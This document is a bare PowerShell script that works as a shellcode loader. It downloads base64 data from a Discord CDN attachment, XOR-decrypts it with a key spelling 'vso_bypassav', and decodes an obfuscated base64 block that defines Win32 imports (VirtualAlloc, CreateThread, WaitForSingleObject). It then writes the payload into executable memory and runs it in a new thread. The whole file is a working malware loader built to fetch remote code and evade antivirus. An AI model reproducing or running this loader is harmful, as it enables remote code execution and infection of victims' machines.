function XorDecrypt([byte[]]$data, [byte[]]$key) { $result = New-Object byte[] $data.Length for ($i = 0; $i -lt $data.Length; $i++) { $result[$i] = $data[$i] -bxor $key[$i % $key.Length] } return $result } $url = 'https://cdn.discordapp.com/attachments/1146806349548769343/1146806428682698903/encoded-20230831135441.txt' $base64Data = Invoke-WebRequest -Uri $url -UseBasicParsing | Select-Object -ExpandProperty Content # Example Key: [Byte[]] $key = 0x76,0x73,0x6f,0x5f,0x62,0x79,0x70,0x61,0x73,0x73,0x61,0x76 $buf = [Convert]::FromBase64String($base64Data) $plaintext_data = XorDecrypt $buf $key $Win32 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgV2luMzIgewogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOwoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgQ2hhclNldD1DaGFyU2V0LkFuc2kpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIENyZWF0ZVRocmVhZChJbnRQdHIgbHBUaHJlYWRBdHRyaWJ1dGVzLCB1aW50IGR3U3RhY2tTaXplLCBJbnRQdHIgbHBTdGFydEFkZHJlc3MsIEludFB0ciBscFBhcmFtZXRlciwgdWludCBkd0NyZWF0aW9uRmxhZ3MsIEludFB0ciBscFRocmVhZElkKTsKCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBVSW50MzIgV2FpdEZvclNpbmdsZU9iamVjdChJbnRQdHIgaEhhbmRsZSwgVUludDMyIGR3TWlsbGlzZWNvbmRzKTsKfQ==')) Add-Type $Win32 $size = $plaintext_data.Length [IntPtr]$addr = [Win32]::VirtualAlloc(0, $size, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($plaintext_data, 0, $addr, $size) $thandle = [Win32]::CreateThread(0, 0, $addr, 0, 0, 0) [Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")